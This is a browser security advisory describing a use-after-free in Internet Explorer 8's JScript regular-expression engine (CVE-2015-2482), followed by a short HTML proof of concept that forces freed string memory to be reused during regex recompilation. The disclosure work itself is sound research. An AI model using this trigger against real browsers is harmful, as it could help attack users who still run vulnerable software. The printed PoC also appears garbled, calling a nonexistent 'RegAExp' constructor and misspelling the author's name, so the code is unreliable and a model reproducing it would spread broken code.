Microsoft Internet Explorer 8 Javascript RegExpBase::FBadHeader Use-After-Free

A specially crafted web-page can cause the Javascript engine of Microsoft Internet Explorer 8 to free memory used for a string. The code will keep a reference to the string and can be forced to reuse it when compiling a regular expression.


MD5 | d8cfc6c827b0efeb64a9441bb0f92bf4

Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the
twelfth entry in that series. Unfortunately I won't be able to publish
everything within one month at the current rate, so I may continue to
publish these through December and January.

The below information is available in more detail on my blog at
http://blog.skylined.nl/20161116001.html.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

MSIE 8 jscript RegExpBase::FBadHeader use-after-free
====================================================
(MS15-018, CVE-2015-2482)

Synopsis
--------
A specially crafted web-page can cause the Javascript engine of
Microsoft Internet Explorer 8 to free memory used for a string. The code
will keep a reference to the string and can be forced to reuse it when
compiling a regular expression.

Known affected software, attack vectors and mitigations
-------------------------------------------------------
* Microsoft Internet Explorer 8
An attacker would need to get a target user to open a specially
crafted web-page. Disabling Javascript should prevent an attacker
from triggering the vulnerable code path.

Description
-----------
Recompiling the regular expression pattern during a replace can cause
the code to reuse a freed string, but only if the string is freed from
the cache by allocating and freeing a number of strings of certain size,
as explained by Alexander Sotirov in his Heap Feng-Shui presentation.

Exploit
-------
Exploitation was not investigated.

Time-line
---------
* *March 2015*: This vulnerability was found through fuzzing.
* *March 2015*: This vulnerability was submitted to ZDI.
* *April 2015*: This vulnerability was acquired by ZDI.
* *October 2015*: Microsoft addressed this issue in MS15-018.
* *November 2016*: Details of this issue are released.

Cheers,

SkyLined


Repro.html

<!DOCTYPE html>
<html>
<script>
// This PoAC attempts to exploit a use-after-free bug in Microsoft Internet
// Explorer 8.
// See http://blog.skylined.nl/20161116001.html for details.
var r=new RegAExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");
"A".replace(r, function (){
// Force OLEAUT32 to free the string
for (var j = 0; j < 16; j++) new Array(0x1000).join("B");
// Reuse the freed memory
r.compile();
});
// This work by SkyALined is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
</script>
</html>


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